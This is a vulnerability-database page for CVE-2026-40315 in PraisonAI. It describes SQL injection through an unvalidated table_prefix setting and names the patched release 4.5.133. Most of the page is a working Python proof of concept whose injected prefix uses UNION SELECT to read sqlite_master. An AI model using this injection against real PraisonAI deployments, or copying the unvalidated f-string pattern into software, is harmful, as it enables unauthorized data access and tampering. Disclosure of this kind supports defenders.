CVE-2026-40315Medium▾ SunlitPraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries
▾ Sunlit zone — Low / medium · no exploitation signal
impact 27.5 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 2.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.3%
0.3% → 0.4%
The table_prefix configuration value is directly used to construct SQL table identifiers without validation.
If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.
This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.
This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:
sessions_table = f"{table_prefix}sessions"
This value is then used in queries such as:
SELECT * FROM {self.sessions_table}
Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.
The vulnerability originates from configuration input and propagates through the following flow:
Source: config.py
(from_yaml / from_dict) accepts external configuration input
Propagation: factory.py
(create_stores_from_config) passes conversation_options without validation
Sink: sqlite.py
Constructs SQL queries using f-strings with identifiers derived from table_prefix
As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.
The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.
#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix
This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""
import os
import tempfile
from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession
def run_poc() -> int:
fd, db_path = tempfile.mkstemp(suffix=".db")
os.close(fd)
try:
print(f"[+] temp db: {db_path}")
# 1) Create normal schema and insert one legitimate session.
normal = SQLiteConversationStore(
path=db_path,
table_prefix="praison_",
auto_create_tables=True,
)
normal.create_session(
ConversationSession(
session_id="legit-session",
user_id="user1",
agent_id="agent1",
name="Legit Session",
state={},
metadata={},
created_at=123.0,
updated_at=123.0,
)
)
normal_rows = normal.list_sessions(limit=10, offset=0)
print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")
# 2) Malicious prefix (UNION-based query structure manipulation)
injected_prefix = (
"praison_sessions WHERE 1=0 "
"UNION SELECT "
"name as session_id, "
"NULL as user_id, "
"NULL as agent_id, "
"NULL as name, "
"NULL as state, "
"NULL as metadata, "
"0 as created_at, "
"0 as updated_at "
"FROM sqlite_master -- "
)
injected = SQLiteConversationStore(
path=db_path,
table_prefix=injected_prefix,
auto_create_tables=False,
)
injected_rows = injected.list_sessions(limit=10, offset=0)
injected_ids = [row.session_id for row in injected_rows]
print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")
suspicious = any(
x in injected_ids
for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
)
if suspicious or len(injected_rows) > len(normal_rows):
print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
return 0
print("[!] PoC inconclusive: no clear injected rows observed")
return 2
finally:
try:
os.remove(db_path)
print("[+] temp db removed")
except OSError:
pass
if __name__ == "__main__":
raise SystemExit(run_poc())
The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.
Exploitable when untrusted input can influence configuration.
praisonai < 4.5.133Upgrade to a patched release:
praisonai 4.5.133Connected by shared product, vendor, weakness, or advisory.
CVE-2026-61438High· 7.3PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
CVE-2026-60091High· 7.2PraisonAI: Jobs API is unauthenticated by default and allows attacker-controlled webhook SSRF
CVE-2026-60085HighPraisonAI: SecurityPolicy command/path/import restrictions are completely unenforced by the default SubprocessSandbox backend
CVE-2026-61427High· 7.3PraisonAI: MCP HTTP-stream transport is unauthenticated by default, exposing tool enumeration and an unvalidated tool-call surface
CVE-2026-61434High· 8.8PraisonAI: Shell command allowlist bypass via find -exec built-in action
CVE-2026-61435High· 8.2PraisonAI: Call API localhost-only authentication bypass via spoofed Host header